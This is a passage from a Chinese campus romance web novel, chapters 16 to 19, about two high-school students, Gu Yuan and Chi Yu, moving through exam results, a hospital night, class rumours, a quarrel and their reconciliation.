江皓阳捏着纸巾假意抽噎两声，“顾姐你是不知道，自从我们班上次拔河比赛赢了一班那帮人就看不惯我们。说我们只有蛮力没有脑子，这下看他们还能得瑟到哪里去。”
其他们也纷纷点头，有几个感性的眼眶都红了。
顾鸢心底一震。
这事她没听过。
上课铃声拉响，大家都回了自己的位置。
顾鸢低头看着练习册，手里的笔迟迟没有落下。
没一会儿，曹军平拿着十五班的成绩单进来。
大家都放下笔抬起头。
曹军平显然也很激动，眼眶微红，语气都有些哽咽，“孩子们，这次你们可给我争脸了。想知道我们班的名次吗？”
“平行班前三总进了吧？”
曹军平笑笑，“不止？”
“不会第一吧？”
“想啥呢，脸大。肯定是第二。”
底下的同学都激动地看着讲台上的曹军平。
曹军平也不再逗大家，说道：“咱们班是除了一班二班两个实验班，在剩下十八个平行班，取得了各科成绩总排名的、第一。”
安静了好几秒，底下爆发出雷鸣般的掌声。
“我去，第一，我没幻听吧。”
“牛逼啊我。”
“太有面了。”
曹军平挥了挥胳膊示意大家安静，嗓子发涩，“大家也知道，我刚毕业，没什么经验，也不知道应怎么和你们相处，不知道要怎么管理你们才能最大限度地接受，让你们变得更好。”
“但是我发现，是你们本来就很好，遇到你们是我的幸运，相信三年以后我们都能变得更好。”
“你们有没有信心，跟着我干完这三年。”
安静了几秒，底下的同学都开始喊起来。
“曹哥，我们跟定你了。”
“老曹我们相信你。”
“绝对有。”
曹军平攥着成绩单的手在发抖。
他知道，他职业生涯的起点很高，已经很高了。
“好，接下来我会一一叫人谈话，没有叫到的就安静自习。余荔先出来。”
顾鸢正在发呆，隔着过道从左边传过来一张纸条放到她的练习册上。
是一副Q版的简笔画，画上的人是她。
顾鸢偏眸看过去，她左边坐着的是个腼腆的姑娘，飞快看了她一眼之后耳朵都红了。
比言酥反应还大。
顾鸢在稿纸上写了几个字，撕下来放到她的课桌上。
女生看完，显然更加激动。
顾鸢勾着唇笑。
余荔去了大概十分钟，下一个就是她。
办公室，顾鸢进去之后吓了一跳，里面挤满了人，年级主任在，一班和二班的班主任都在。
主任朝她招手，语气和蔼，“别怕，过来坐。”
顾鸢看了眼曹军平，曹军平点了点头，她走到单人沙发前坐下。
曹军平把她的成绩单拿出来放到桌子上，方便大家看清。
“顾鸢，你这次考的很好。月考的试卷是统一的，你的成绩排到了全市第二。”
顾鸢松了口气，不用说她也知道第一是谁。
“第一你应该认识，池砚舟。”曹军平说完，言语中都透着兴奋，“老师分析了你和他的成绩，还是物理。池砚舟满分，你丢了三分，你的总分只比他低一分。”
这说明什么，说明顾鸢有希望超过池砚舟，或者和他并列。
捡到宝了，一中真的捡到宝了。
啪嗒
门被推开，又进来几个老师。
看到来人顾鸢忙站起来。
“吴校长。”
一直到晚自一下了顾鸢才回教室。
学生的消息往往都是传得最快的，一时间都知道校长找她谈话了。
言酥紧张地问她：“你们聊了什么呀？”
顾鸢四下看了一圈，面色都是如出一辙的紧张。
她还没来得及开口，林雪就出声了，“你是不是真的要去一班了？”
顾鸢：？
她自己怎么不知道。
见她迟疑了，林雪声音高了几个度，“我就知道，之前我就听到曹老师说一班班主任想要你过去，你果然要去。”
顾鸢蹙眉，这副看渣女的眼神看她是怎么回事。
素来寡言的陈哲明突然出声，“学委去哪里都是她的自由，就是曹老师也不会干涉。”
林雪瞪他，“你就知道了？”
陈哲明：“那天我也听到了。”
顾鸢真没想到，这事还有这些后续，她正要开口，上课铃响了。
第二个自习陆续有人被叫出去，除此之外教室里安静到地上落了根针都能听见。
晚自习下了之后顾鸢收拾好东西就下楼了。
这个时间点出去的人多，她也不用害怕。
过马路的时候，因为想到了办公室的谈话，她走了神。
突然，书包肩带被一把大力扯住，顾鸢踉跄着往后退了几步撞在一个坚硬的胸膛上。
她仰头就看到一张冷峻的脸，狭长的眸子眯着，眼里蕴藏着愠怒。
“想投胎？”
顾鸢被噎住，抬起胳膊拂掉他的手往旁边挪了一步，“你怎么在这儿？”
男生乌黑的瞳眸盯着她半晌，嗓音寡淡，薄唇吐出两个字，“夜跑。”
顾鸢还没来得及说话，手腕就被攥住带着过了马路。
一路上，两人一言不发。到了小区门口，迟瑜转身就要走，顾鸢抓住他的手腕。
女生微仰着脖子，一双鹿眸在夜灯的亮的出奇，语气软软的，“你生气了？”
迟瑜别看眼，冷哼一声，“大小姐走路都是不看路的吗？”
是因为这个？
顾鸢轻轻晃动了一下他的手腕，好脾气道：“没不看，我是在想事情。”
“哦。”
“所以我……”
“不还是没看，有什么区别。”
本来就是自己理亏，顾鸢又放软了声音，“我保证，以后一定看路。”说完她举起另一只手，做出发誓的样子。
看她这副模样，再大的气也没了，迟瑜低眸视线扫过衣袖上白皙
16. 私奔
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闪电划过长空，倾盆大雨从天上泻下来。医院的楼道里安静诡异，顾鸢正要伸手拧开门把手，胳膊突然被攥住，一股大力扯着她转了个身。
入眼，是淋成落汤鸡的少年，漆黑的眸中满是担忧之色，抓着她胳膊的手在颤抖。
“迟瑜？”顾鸢定眼一看才认出他，“你怎么……”
话还没说完，她就被拉进一个僵硬的怀抱。
冷冽的水气将她包围，空气也显得逼仄起来。
顾鸢吓得愣住，一动也不敢动。
过了一分钟，男生往后推开，话音还带着颤意。
“江皓阳说你进了急诊，怎么了？”
急诊？
顾鸢摇了摇脑袋，“我没有进急诊，你是不是听错了？”
迟瑜呆住。
窗外有雨水打进来，顾鸢冷的缩了缩脖子，转身过去把窗户关上，手还没碰到玻璃，从他后面绕过来一条胳膊，冷风被隔绝在外面。
两个坐在过道的椅子上，顾鸢捏了捏指尖，轻声问他，“所以你是听岔了？”
“嗯”迟瑜又后怕又懊恼，现在只想把江皓阳揍一顿。
也说不清楚。
“我没事，是我妈吗突然不舒服，家里没人，我就过来了。”
方才迟瑜进来的时候浑身都是湿的，顾鸢身上本就穿着校服衬衣，又被他突然抱住，衣服也被打湿了不少。
刚才没细看就算了，这会儿低头一瞥，里面的吊带隐约能看出来。
“你先等会儿，我去给你拿条毛巾。”顾鸢说着双臂抬起来就往病房走，双颊泛着淡淡红晕。
迟瑜卸了力靠在椅背上，头发还在滴水，顺着流畅的线条落下来，滴答一声落到手背上。
听到消息的时候他疯了似的冲出来，等到了医院确定人没事，又觉得自己的行为太过失控。
“呵”
低笑声从喉间溢出，他抬手摸了一把脸。
真是栽了。
其实，他小的时候见过顾鸢，也在医院，但明显她不记得了。
啪嗒
顾鸢穿了外套，手里拿着两条毛巾出来。
“浴巾你先披着免得着凉。”顾鸢把大的那条给他，顺手把小的那条盖在他脑袋上。
没有人说话，楼道里安静的可以听到两人清浅的呼吸声。女孩站在男生面前，手下动作轻柔的帮男生擦着湿透的短发，男生乖巧的坐着，垂在身侧的手紧紧握着，湿发遮盖下的耳垂泛红。
等擦得差不多的时候，顾鸢把毛巾递给他，“擦擦脸吧。”
迟瑜拿起毛巾，语气略显僵硬，“不应该先是擦脸再擦头发吗？”
顾鸢神色一凝，“我忘了，你要不凑合一下？”
“不能再找一条？”
“就这一条。”
“哦”
顾鸢低眸，瞥见他僵硬的动作。
这是冻着了？
“你回去吧，明天还要上课。”她真没想到他会来医院找她，而且还淋成了这样。
迟瑜沉默了几秒，仰头看她，女生小脸素净，眼眸没有平日明亮，大约是累了，身上带着一股软意。
他捏了捏手里的毛巾，问出憋了一天的问题，“你要转去附中吗？”
顾鸢微怔，“什么？”
男生不说话，只是抿唇，眼眸幽幽地看着自己，顾鸢哑然，过了几秒解释道：“我没有转学，你听谁说的？”
还能谁，江皓阳那傻子。
迟瑜心底松了口气，又想起什么，索性一道问了出来，“那你要去一班吗？”
“这又是谁说的？”
顾鸢没想到自己一天没去学校，谣言都传了两版了。
迟瑜喉咙一紧，哑着嗓音发问，“你不去？”
“我没说要去？”
顾鸢眉心微蹙，“以我的成绩去哪个班都不会有什么区别。我现在的学习环境很好，十五班的学习氛围也很好，我没必要再去融入一个新的班级。”
而且她有自己的打算。
听到她的话，悬了一天的心终于落下来了，迟瑜唇角也浮出浅浅的笑意，“行，那我就这么回了。”
“嗯？”
“你没看手机，言酥问的。”
顾鸢噎住，她还真没来得及看。姜之遥突然晕倒，她接到电话的时候人都傻了。后来又一直胆战心惊的，还没有碰过手机。
突然，走廊里想起凌乱沉重的脚步声，顾鸢和迟瑜抬眸看过去。
顾绍辉脚步踉跄，衣服上也沾着水，比迟瑜好不了多少。
“爸爸！”
顾鸢朝他小跑过去，“助理不是说你明天才到吗？”
顾绍辉满脸焦急，拉着顾鸢的手往后看，“你妈妈呢，怎么样了？”
“刚睡着，医生说后半夜可能会醒。爸爸，你先擦擦脸吧。”
顾鸢说着就要去拿毛巾，等反应过来才想起东西都给迟瑜用了。
顾绍辉这个时候也发现了女儿身后的男生，“浅浅，这是你的朋友吗？”
“对，这就是我跟你说过的，物理满分的那个同学。”顾鸢朝迟瑜道：“这是我爸爸。”
迟瑜嗓音发紧，朝顾绍辉弯了弯腰，“叔叔好，我是迟瑜，顾鸢的朋友。”
顾绍辉点了点头，“我知道，浅浅跟我提起过你。”
“有我在医院看着就行，你们都回去吧，明天还要上课。”
顾鸢抿了抿唇，“我送他出去。”
“你也回家，医院休息不好，有我看着你妈妈就行。”顾绍辉抹了把脸上的水珠，视线掠过迟瑜手里的毛巾，“贺明在下面，让他送你们回家。浅浅乖，明天还要上学，回去休息。”
……
车上，顾鸢看了一眼迟瑜湿透的衣服，朝前面的贺明道：“贺叔叔，麻烦把空调开一下，我朋友身上淋湿了。”
说完，顾鸢趴在座位上从后面拿出一条毛毯给迟瑜，“你先披上。”
迟瑜一边接过来一边说道：“我没那么脆弱，不至于感冒。”
话音刚落就打了一个喷嚏。
……
顾鸢又要问贺明，贺明像是知道她要问什么，提前回道：“车上没有感冒药，前面有二十四小时营业的药店，等看到了我下去买。”
“好。”
热风吹的人闷闷的，迟瑜裹着毯子察觉到了一丝困意，眼睛正要闭上，肩膀一重。
顾鸢闭着眼睛靠了过来，借着路灯，迟瑜看到她布满疲惫的小脸。
贺明看了眼后视镜，压低了声音说道：“小姐是累到了，迟同学也休息会儿吧，等到了我叫你。”
“谢谢”
迟瑜说完也往后靠去，慢慢闭上了眼睛。
等红绿灯的时候，贺明看向后视镜，感叹现在的孩子学习真累，不容易。
……
到底是淋了雨，后半夜的时候迟瑜发烧了，摸着黑吃了一粒退烧药，又迷迷糊糊的睡了过去。
—
第二天，教室里的座位空了两个。
江皓阳胳膊肘碰了下徐百川，问他，“怎么回事，顾姐和迟哥都没来？”
徐百川睨他一眼，“发烧了。”
“怎么会发烧？”
“我怎么知道。”徐百川叹气，“这俩人不来，版本又变了。”
是的，从昨天顾鸢不来，就又流言了。
有说顾鸢转班的，有说顾鸢为了和竹马在一起每晚不睡考了第一要回附中的。有说鱼鸢CP破碎的。
到了今天，直接演变成了CP男主角为爱旷课追寻真爱。
传得有鼻子有眼的，让人不信都难。
关键是两人都没来，可发挥空间太大了。
下午的时候，顾鸢一走进教室，大家的眼睛都看了过来。
好熟悉的感觉。
顾鸢顶着众人的目光走到座位上坐下。
言酥欲言又止了好一会儿才问她，“你昨天去哪里了，今天早上也没来。”
“感冒了。”
言酥紧张起来，“严重吗，要不要紧？”
顾鸢笑着揉了揉她的脑袋，“不严重，已经没事了。”
“吓死我了，大家都说你要转学了。”言酥眸子一转，压低了声音说道：“主要你和迟瑜今天早上都没来，还有人说你们俩私奔了。”
“噗”
顾鸢口里的水喷了出去，还好她反应快，把头转到了走廊。
“什么私奔？”
哪儿跟哪儿，都这么闲的吗？
言酥抿了抿嘴唇，解释道：“就是说你家里人要把你转去附中，你不愿意，迟瑜也不愿意和你分开，所以你们就私奔了。”
顾鸢讶然，“迟瑜也请假了？”
“你不知道？他早上也没来。”说完言酥扭头，结果看到斜后方坐着的人吓得怔住。
他有没有听见？他听见了多少？
看言酥不说话，顾鸢也扭过脑袋。
四目相对，尴尬溢满。
想到昨晚医院的事，顾鸢放低声音问他，“你怎么早上没来学校？”
“发烧。”
大概是真
17. 害怕
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南巷
顾鸢和女生面对面坐着，迟瑜去前台去奶茶。
近距离看到女生，顾鸢还是大为吃惊。
这长相，这身材，好看，羡慕，想有。
在顾鸢打量和对方的时候，女生也在打量着她。
“我叫云清。”
“顾鸢。”
两人报了自己的名字，之后就没有人说话了。
迟瑜过来的时候手里提了一杯奶茶，红豆双拼，加很多料。
“等我三分钟。”
说完，迟瑜才看向云清，“那边说。”
云清看了眼顾鸢，起身往角落的地方走。
顾鸢抱着奶茶靠在沙发背上，眼睛毫不掩饰地盯着角落里的两人。
云清瞥了眼顾鸢，把包里的纸袋掏了出来，沉甸甸，一看就不少。
迟瑜眼眸一暗，沉声道：“什么意思？”
云清把东西推到迟瑜眼前，语气凉凉的，“还你的。”
“呵—”
迟瑜勾起唇角冷笑一声，“还？你还得起吗？”
云清被他的话激怒，脸色变得很难看，“你想要多少？”
迟瑜起身，冷眸睨着她，“不需要，以后别来找我。”说完他起身就走，自始至终都没有给桌上的纸袋多余的眼神。
“是因为那个女生？”云清站起来喊了一声。
迟瑜转身，眉宇压低，眸底含着一抹厉色，“想知道我为什么救你吗？”
云清怔住，不知道为什么，看着他的神色自己并不想听到这个答案。
……
顾绍辉在医院陪姜之遥，所以迟瑜还是送她回家。
一路上顾鸢都能感觉到他的情绪很低。
直觉告诉顾鸢，那个女生可能与她想知道的事有关。
可问别人隐私这件事，怎么说都不太好。
楼下有家711，顾鸢拉着他往进走，迟瑜愣了愣，还是跟上。
“奶茶没喝饱？”
迟瑜不禁看了她一眼。
这么能吃，肚子里装的下吗？
顾鸢抬眸看向他，“我请你吃关东煮。”说着扬了扬手里的奶茶，“礼尚往来。”
两人坐在窗户边，抬眼就能看到外面漆黑的夜色。
下了雨的夜空黯淡无光，没有一颗星星。
压抑着沉默的气氛。
顾鸢咬着吸管看他吃鱼丸，视线紧盯着他。
迟瑜咽下一颗鱼丸把塑料盒子推给她。
顾鸢：？
迟瑜抽了张纸擦嘴，“不吃你一直盯着我看什么？”
心理素质再强大的人被这么看都受不了。
更何况他、
顾鸢把东西推过去，“我不吃。”
“这里就我们两个人，我不看你看什么？”
迟瑜：真没毛病。
“我跟她不熟。”
“嗯？”
迟瑜把胳膊搭在桌边，看向顾鸢的眼神中带着她看不懂的东西。
“你不好奇吗？”
“好奇。”顾鸢诚实地点了脑袋。
迟瑜被她的诚恳弄得有些不知所措，梳理了一会儿语言才开始说话。
“你知道我比你们大一岁。”
“知道。”她录信息的时候看到了。
“我休学了一年，在初二暑假的时候。”说到这儿，迟瑜犹豫了一会儿，似乎在想后面的事情要不要继续说。
顾鸢压着心底的好奇，善解人意道：“不想说就算了。”
快说快说。
迟瑜看了一眼，眸色深得至极，“顾鸢，你没有听过言酥说过我吗？”
“什么？”
哪一句。
话语在口里变换了好几种，迟瑜压着嗓子，终是说道：“我打过架，休过学。”
轰隆一声，窗外的闪电亮起，超市的灯闪了几下。
顾鸢看着眼前的少年，心底思绪纷乱，她道：“是因为那个云清吗，你帮了她，所以休学了一年。”
过了好久，迟瑜嗓音微哑，眸色不明，“你不害怕吗？”
顾鸢反问：“为什么害怕？”
“我有自己的判断。”手里的奶茶已经凉了，顾鸢手往前伸握住塑料盒，“该不会是你为了云清打架休学了一年。”
爱这么深？
迟瑜眼睫颤动，说道：“初二暑假的时候，有一天我回家晚，在巷子里碰到一群混混在欺负一个女生。那帮人拿了刀，我被刺伤。后来为了养病，干脆就休学了。”
“很严重吗？”不然为什么要休学一年。
顾鸢说着视线在他身上扫视。
伤的哪？
迟瑜掩唇轻咳一声，“已经好了。”
“我能看看吗？”顾鸢想也没想就脱口而出。
等话说完，才知道气氛有多尴尬。
“咳，我没那个意思。你可是见义勇为，我就是想看看大英雄的伤怎么样了。”说完她又觉得不对，“当然我就是那么一说，你不用在意。”
“确实，不太方便。”
迟瑜看了眼手机，“时间不早了。”
“哦，对。”顾鸢说着把关东煮推给他，“还没凉，你吃完再回去吧。”
迟瑜如坐针毡。
三下五除的将东西解决完，迟瑜起身拿上书包。
“明天见。”
顾鸢接过书包，转身进小区的时候朝他道：“迟瑜，你很棒。”
看着她慢慢跑远，迟瑜低头看着脚下笑了一声。
夸他。
—
周六是家长会，先开大会，再是各班举行。
家长坐在座位上，学生在后面站着。
顾鸢和言酥靠在窗边看高二的学长打篮球。
言酥拉了拉她的袖子，“那个，带了红色发带的那个，好帅啊。”
顾鸢被她晃得头晕，回道：“帅，确实帅。”
这会儿流程已经到了家长发言，姜女士和老顾石头剪刀布，老顾三局两胜赢了，所以今天是他来参加。
也自然是他作为优秀学生家长发言。
老顾今天的衣服是新的，发型也是姜女士帮他弄了好久的，站到讲台上的时候，骄傲的像个孔雀。
呃，顾鸢一时只想到了这个形容。
老顾一如既往的稳定发挥，底下掌声轰鸣。
言酥眼里冒着星星，小声说道：“你爸爸好帅啊，怪不得你这么好看。”
顾鸢笑了笑，能不帅吗，姜女士说他当初就是看上这张脸了。
有同学撑不住溜了出去，顾鸢和言酥也乘机溜出去。
两人去了一趟小超市，买了薯片和水果糖，找了个亭子坐下。
没一会儿烦人精江皓阳就来了，“顾姐，你们也溜出来了。”
言酥无语，“哪都有你。”
“你这话怎么说的。”江皓阳左手拉着迟瑜，右手拉着徐百川，“他俩不是人？”
顾鸢&言酥：沉默。
徐百川自然地拿起言酥的薯片吃起来，“好多人都溜出去了，你们俩怎么没去？”
言酥一把抢过袋子，“说的好听，被抓住了可是逃课，你怎么不去？”
迟瑜推开徐百川坐下，和顾鸢之前隔了一点距离，不是太近，也不是太远。
顾鸢把怀里的零食往紧收了收，似乎是怕他抢。
迟瑜无语的看她一眼，“还没恭喜你。”
“恭喜什么？”
她有什么可以恭喜的吗？
言酥一拍手，“对呀，你这次考的这么好，不如我们出去庆祝。”
顾鸢：？
刚说的不逃课。
江皓阳彷佛找到了知音，“我们去吃火锅呀，上次顾姐不是没来。反正一开就是一下午，而且今晚又没晚自习。”
徐百川：“那书包呢？”
江皓阳不以为意，“到时候回来取呗。”
迟瑜看向顾鸢，“去不去？”
顾鸢被几人热切的目光说服，“去，谁叫一下陈哲明。”
火锅店
几人到的时候正是下午四点。
要了一个鸳鸯锅，顾鸢和言酥先去拿水果。
迟瑜正倚在沙发上帮他们看东西，突然肩膀被拍了一下。
“真是你。”
男生穿着职中的校服，头发染的黄色，耳朵上戴着黑色的耳钉，看到迟瑜眼睛都亮了。
“迟哥，好久不见。还记得我吗？是我啊。”
“周子煜。”
周子煜坐到迟瑜旁边，顺手搭着他的肩膀，语气熟稔，“你也吃火锅，正好我们一起啊。”
迟瑜抬了抬下巴示意他自己看，“六座，人满了。”
“嘿，换个包
18. 公主抱
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回家之后，顾鸢想了想还是给迟瑜发了一个消息。
对面没回，可能是在忙。
吃了火锅之后身上有一股味道，顾鸢先去洗澡。
大概零点的时候，言酥打了电话过来，嗓音急切，“你知道榕西巷出事了吗？”
啪嗒一声，笔从指尖滑落掉，白色的纸张很快晕染出一片黑色。
“出什么事了？”
“有人在榕西巷聚众斗殴，警车都去了。听宿管说好像还有我们学校的学生。反正外面闹得挺大的。”
不知道为什么，顾鸢想到了一个人，压下心里的担忧，她说道：“那边不是住了很多一中的学生嘛，可能是碰巧撞见了。”
“也对，那我有消息再告诉你。”
“好。”
挂了电话，顾鸢点开Q.Q，迟瑜还没有回消息。心底的不安越来越强烈，她翻开通讯录打电话过去。
一连打了好几个，都没有人接。
窗外冷风呼啸，国庆一过，冷空气迅速来临，快到人来不及反应。
第二天顾鸢穿了一身运动服出门，照着手机里的地址找过去。
巷子里还有未擦干的血迹，地面上是被推到的垃圾箱，难闻的味道涌入鼻息，顾鸢拿出兜里的口罩戴上。
终于找到地方，再次确定了一遍地址没问题她才敲门。
过了好一会儿，里面没有人应声。
对面有人出来，上下打量了顾鸢一眼，随即就往楼下走。
“姐姐。”顾鸢叫住她。
“你知道对面这家……”还不等顾鸢把话说完，女生就匆匆下楼了。
楼道里打扫的还算干净，顾鸢坐在台阶上等。
凌晨接到电话的时候她就睡不着了，索性起来做了几套卷子，到天就朦朦亮的时候，稍微眯了一会儿她就出门了。
早上出门都没吃早餐，肚子已经开始抗议了。
坐了几分钟，她又把电话拨过去，依旧是无人接听。
又困又饿。
噔噔噔
高跟鞋踩在水泥地上的声音让顾鸢脑子清醒过来。
伴随着的还有说话的声音。
“这次应该都能解决了，实在不行我去找一趟那个女孩子，不管怎么样都是由她引起的。”
“嗯”
“儿子，你后悔那天救人吗？”
说话间一对母子走了上来，一眼就看到坐在楼梯口的小姑娘。
顾鸢抱着膝盖撩起眼皮，亦是发现了两人。
眼熟，她都认识，真巧。
顾鸢眨了眨眼睫，没有说话。
迟瑜在看到顾鸢的时候就愣住了，浑身血液停止了流动，嗓子像是被什么东西黏住了一样，一点声音也发不出。
就这么安静了几分钟，叶蔓茹扯了一把儿子，抬脚往上走。
“你是那个小同学，我们之前见过，还认得我吗？”
顾鸢点了点脑袋，扶着墙壁站了起来。
蹲的太久以至于腿都麻了，起来的时候晃了一下，很快一只手托住她的胳膊。
叶蔓茹先开门进去，把空间留给两人。
小腿伴着针扎的感觉，顾鸢疼的靠在墙上，胳膊横在额头和墙壁之间。
等缓了过来，顾鸢抽回胳膊，嗓音冷淡，“我先回家了。”
说完顾鸢就往楼下走，迟瑜忙将人堵住。
“我……”
“是言酥说这边出了事，我给你打电话也没有人接，你没事就行，我要回去写作业了。”
顾鸢说完侧开他往下走，身后有人叫住她。
叶蔓茹提着包出来走到两人身边，“小同学，进去坐坐吧，阿姨做了早餐，你是不是还没吃，等会儿让他送你回去。”
顾鸢抿了抿唇。
叶蔓茹手机又响了，朝顾鸢抱歉地说道：“阿姨要去上班了，等下次阿姨请你吃蛋糕。”
再怎么样不能让长辈难看，顾鸢只好点了点头。
迟瑜家的房子是八十平的两室一厅一厨一卫，家里很小，但胜在干净整洁。
顾鸢坐在沙发上看了眼手机，言酥刚才给她发了最新消息。
迟瑜端着早餐出来，是小笼包和小米粥，还有水果。
气氛很安静，顾鸢抬眼就能看到洗手间的位置，放下手机径自走了过去。
迟瑜找出充电器给手机充上电，一开机就看到很多未接来电和消息。
他捏着手机坐在单人沙发上，低着头碎发遮住眼底的神色。
顾鸢一出来，他就站了起来。
四目相对，没有人先说话。
莫约过了两分钟，迟瑜才哑着嗓子开口，“抱歉，手机没电了，我没有看到。”
“没事。”顾鸢说着坐了下来，她是真的饿了，先吃东西，等填饱了肚子再慢慢想事情。
顾鸢拿起一个包子啃起来，半晌才注意到迟瑜没动，“你不饿？”
他身上穿的还是校服，衣摆上蹭着土，人看着也憔悴。
哦，她也挺憔悴的，一晚上没睡。
“我去换身衣服，你先吃。”他语气挺软的，像是在征求意见。
顾鸢点了点脑袋，又咬了一口包子。
卫生间很快响起了水流声，顾鸢扭头看过去。
在洗澡？
担惊受怕了一晚上，见到人没事又填饱了肚子，困意自然就来了。
顾鸢抱了一个抱枕靠在沙发上和言酥讨论着昨晚的事情。
言酥：【那边真的好乱，你一定要少去。】
顾鸢眼睫毛轻颤，回道：【嗯，不去。】
两人又聊了一些没营养的话题，聊着聊着她眼皮就开始打架了。
等迟瑜擦着头发出来，顾鸢已经窝在沙发上睡着了。
迟瑜擦头发的手一顿，放轻脚步走了过去，慢慢蹲下来。
女孩小小的一团，抱枕压着白皙的小脸有些变形，粉唇微张着，手机掉在地上。
迟瑜拿起角落的毯子盖在她身上，然后一手撑着下巴看她。
该说她是心大还是心大。
在别人家就这么睡着了。
要是他们没回来，她是不是要一直等下去。
似乎是睡得不安稳，沙发上的人儿动了一下，把脸埋进毯子里。
她的头发长了好多，顺着脸颊落在了衣领上。
迟瑜半跪着，伸出手慢慢拨开。
像做贼一样，大气都不敢喘一下。
窗外枝条随风浮动，心底枝桠疯长。
他好像，真的喜欢她。
顾鸢这一觉睡得时间有点长，中途醒来了一会儿，看到有个人趴在茶几上，以为是幻觉很快又睡过去了。
等再次醒来的时候，听到的是书页翻动的声音和笔触划过纸张的声音。
缓了几分钟，她支着胳膊坐起来。
听到她醒的动静迟瑜就停下了手里的动作。
顾鸢四下看了眼在茶几上发现了手机。
已经中午十一点半了，她这一觉睡得可够久的。
“我要回去了。”
“我送你。”
顾鸢撩起眼皮瞥了他一眼，脑子清醒了就想起事情了。
但她没说话。
两人从楼上下来，碰到了早上那个姐姐。
女生看了眼两人，快速上楼。
巷子里已经被清理干净，顾鸢走在前面，迟瑜紧跟在她后面。
等到马路边的时候，顾鸢停下来看着脚下说道：“你回去吧，我要打车。”
迟瑜张了张嘴，还没来得及说话顾鸢就伸手拦了一辆出租车坐进去了。
路边车辆呼啸而过，迟瑜站在哪儿看着粉色的出租车走远，直到手机铃声响了起来才回神。
—
晚读的时候，周围的同学明显感觉到了两人之间气氛的变化。
要说之前是避嫌，那现在就是绝对避嫌。
更准确地说，是吵架了，闹掰了。
他们的CP.Be了。
顾鸢帮着言酥把英语作业抱到办公室，出来的时候言酥想问没敢问。
下晚一迟瑜顺便要帮顾鸢接水却发现她杯子里的水是满的。
晚自习下了之后，顾鸢也是很快收拾好东西就往出走。
言酥扭头看向后面，江皓阳脑袋摇的跟拨浪鼓一样。
他不知道。
这样的情况持续到第二天晚读，顾鸢和言酥去下面背书，看着那三人迎面走来，顾鸢拉着言酥就往另一个方向走。
江皓阳小心翼翼的看了眼迟瑜，悄声问：“你和顾姐咋啦，吵架了。”
迟瑜紧抿着唇不说话。
徐百川和江皓阳对视一眼。
不清楚。
不知道。
晚二要下的时候，江皓阳偷偷给言酥传了纸条，说下课请她和顾姐吃烧烤。
然而一下课顾鸢背上书包就往出走，速度比昨天晚上还快。
江皓阳张了张嘴，正要朝迟瑜说什么，发现人已经走了。
“言酥，你知道他们俩怎么了吗？”
言酥摇头，“不知道。”
江皓阳：“你不着急？”
言酥：“我着什么急？”
这样的情况一直持续到周六早上的化学课，言酥和顾鸢去了趟卫生间，到的时候只有迟瑜那边还有两个空位。
言酥小声道：“你俩还没和好？”
顾鸢朝里瞥了
19. 跳舞.有毒
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车上，曹军平几次想开口都不知道从哪个话题切入。
到了之后，迟瑜顺手拿起顾鸢的书包，又扶着她下去。
看着迟瑜扶顾鸢进了小区，曹军平才开车离开。
终于到家之后，顾鸢挪到沙发上坐下，然后才看向后面跟来的男生。
迟瑜把书包放到沙发上，站在一旁不动。
僵持了许久，顾鸢捂着饿扁的肚子说道：“你还不走？”
迟瑜往前走了一步蹲下，顾鸢下意识往后一仰。
“对不起。”
“？”
“我不是故意向你隐瞒的，那天和我一起上楼的是我妈，之前在蛋糕店你见过。”迟瑜说完双眸勾勾地盯着顾鸢。
顾鸢撇开目光，淡淡地“哦”了一声。
“我一直想跟你说，但是没有机会。”迟瑜的视线带着幽怨。
明明就在教室，前后桌这么近的距离，顾鸢愣是躲了他一个星期。
“那你为什么不在手机上说。”
坦白讲，这件事本来也不是什么大事，但就是那天她自己情绪也不好，一陷进去那些奇怪的想法将自己过些就出不来，自然而然就被控制住。
“你不回消息。”
“打电话呢？”
迟瑜直接拿出手机拨她的手机号。
语音提示无法接通。
顾鸢正要拿出手机看，陡然想起来那天回来为了防止过度上网她就把手机锁起来了。
这事确实没法说了。
她偷瞄了眼迟瑜，淡定地咳了一声，理直气壮道：“我饿了？”
“我是你保姆？”
被冷落这么多天，现在轻飘飘地揭过，他还不能有脾气了。
顾鸢看了他一眼，扶着沙发起来要往楼上走。
“干嘛去？”
“睡觉。”
没走几步，手腕就被攥住。
“大小姐想吃什么？”说的咬牙切齿的，明显气还没消。
顾鸢转身蹦跶两步坐回沙发上，仰着脖子气势首先拿捏住了，“讲道理，是你先骗我的，而且那天你明明有机会跟我解释，是你自己没说。”
“嗯，是我的错。”迟瑜低着脑袋，语气诚恳。
他为什么没说，还不是被她弄得。
他脑子里能装那么多东西吗，以为谁都像她一样。
顾鸢噎住，这认错态度实在是好，她再发脾气就无理取闹了。
“我是想上去拿手机点外卖。”
总不能指望他做。
“你要忌口。”
“那就挑着点。”
迟瑜盯着她看了几秒，放下手机转身去了厨房。
顾鸢疑惑，难不成他要做？
迟瑜这手艺最终没有施展，因为刘阿姨突然回来了。
这事终于揭过，两人之前的氛围发生变化。
大家也猜出他们和好了。
—
时间一晃而过到了十二月。
下午大课间的时候，林雪去开会回来说元旦晚会每个班出一个节目。
晚读的时候，大家留在教室讨论。
林雪想跳独舞，余荔提醒她，“三班也是芭蕾独舞，已经报上去了。”
“什么时候？”
不是才开的会吗？
余荔：“会议刚结束就报了。”
江皓阳举起手，“咱们要弄就弄炸裂的，气势上压倒他们。”
林雪：“比如？”
江皓阳：“街舞”
林雪拿起手机就发消息，“就这个，我就不信还能再重了。”
发完消息她看向大家，眼神充满期盼，“会跳的或者想跳的都举个手。”
唰
举起了一大片。
言酥跃跃欲试，“你想跳吗，我想跳。”
顾鸢：“我都可以。”
鉴于人数过多，林雪还是先让有基础的举手。
江皓阳举起迟瑜的手，“迟哥也会。”
迟瑜睨了他一眼，江皓阳讪讪地放下爪子。
顾鸢诧异扭头看向他，“你会跳街舞？”
迟瑜捏着手里的笔身体往后靠了靠，眉梢微扬，“我不能会？”
—
第二天中午提前到教室选人。
顾鸢嫌回去麻烦，让阿姨把饭送到学校，吃完就趴在桌子上午休。
林雪和同桌从外面进来，一进门就看到顾鸢趴在桌子上，迟瑜拿了外套小心翼翼地披在她身上。
两人掐着对方的手臂，眼睛瞪得比铜铃还大。
林雪：你看到了？
同桌：亲眼所见。
艺术楼
林雪先把找到了舞蹈视频放了一遍，从三个里面最终确定一个。
“大家自行决定，有跳不了的可以退出。”
言酥扯了扯顾鸢的袖子，小声说道：“我觉得我不行，你加油。”说完就走到了另一边。
顾鸢脚还没挪开，林雪叫住了她，“这个舞我也不行，女生里就剩你和刘欣了，你们俩一定要学会。”
“其实我……”
“我相信你，加油。”林雪拍了拍顾鸢的肩膀。
